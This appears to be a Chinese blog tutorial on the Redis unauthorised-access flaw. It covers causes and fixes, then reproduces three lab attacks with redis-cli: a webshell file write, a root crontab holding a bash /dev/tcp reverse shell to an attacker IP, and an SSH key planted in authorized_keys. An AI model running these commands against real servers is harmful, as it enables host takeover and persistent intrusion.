redis 未授权访问漏洞
创始人
2024-05-27 17:23:20

redis 未授权访问漏洞

目录

redis 未授权访问漏洞

漏洞描述

漏洞原因:

漏洞危害

漏洞复现:

漏洞复现

写webshell:

写计划任务:centos默认在/var/spool/cron

写ssh公钥实现ssh登录:


漏洞描述:

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞原因:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
​
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
​
版本:redis 2.x 3.x 4.x 5.x 

漏洞危害:

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

修复建议:

1、禁止外部访问redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接的redis服务的ip

4、redis设置用户名和密码访问

漏洞复现:

修改配置:

#bind 127.0.0.1
protected-mod no

重启服务:

./redis-server /root/redis-6.2.5/redis.conf 

漏洞复现

写webshell:

客户端:

./redis-cli -h 192.168.26.153
​
192.168.26.153:6379> config set dir /var/www/html
OK
192.168.26.153:6379> config set dbfilename redis.php
OK
192.168.26.153:6379> set webshell "\n\r\n\r\n\r\n\r"
OK
192.168.26.153:6379> save
OK
​
​
"\n\r\n\r\n\r\n\r"

写计划任务:centos默认在/var/spool/cron

not connected> config get dir
1) "dir"
2) "/root/redis-6.2.5/src"
192.168.26.153:6379> config set  dir /var/spool/cron
OK
192.168.26.153:6379> config set dbfilename root
OK
192.168.26.153:6379> set ddd "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.26.144/7777 0>&1\n\n\n"
OK
192.168.26.153:6379> save

攻击机上使用nc监听,然后进行登录:

nc -lvp 7777

结果:

写ssh公钥实现ssh登录:

攻击机上生成公钥和私钥

ssh-keygen -t rsa 

2、进入/root/.ssh,将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

3、再把key.txt文件内容写入redis缓冲

cat key.txt| /root/redis-6.2.5/src/./redis-cli -h 192.168.26.153 -x set pub

4、设置redis的默认文件路径为/root/.ssh且文件名为authorized_keys,然后save保存。

192.168.26.153:6379> ping 
PONG
192.168.26.153:6379> config set  dir /root/.ssh
OK
192.168.26.153:6379> config set dbfilename authorized_keys
OK
192.168.26.153:6379> config get dbfilename 
1) "dbfilename"
2) "authorized_keys"
192.168.26.153:6379> save
OK
192.168.26.153:6379> 

5、在攻击机中使用ssh免密登录靶机

相关内容

热门资讯

中国电建通报“福建永安一水库大... 中国电建11月29日晚发布情况通报:针对媒体反映福建永安抽水蓄能电站施工过程中存在的质量等问题,中国...
《中国家庭教育现状调查报告》发... (来源:中国妇女报)转自:中国妇女报  日前,“健康中国·家庭成长计划”公益项目组在京发布《中国家庭...
追人生足迹,谱传记新篇 (来源:中国妇女报)转自:中国妇女报  本期嘉宾  ● 王秋珍  (叶圣陶教师文学奖得主,全国作文优...
柔性外骨骼机器人助患者自然行走 (来源:中国妇女报)转自:中国妇女报  近日,中国科学院沈阳自动化研究所机器人学研究室科研团队研制出...
AI大模型看“块头”更要看“密... (来源:中国妇女报)转自:中国妇女报  近年来,AI的发展遵循着一个简单直接的规则——模型越大、能力...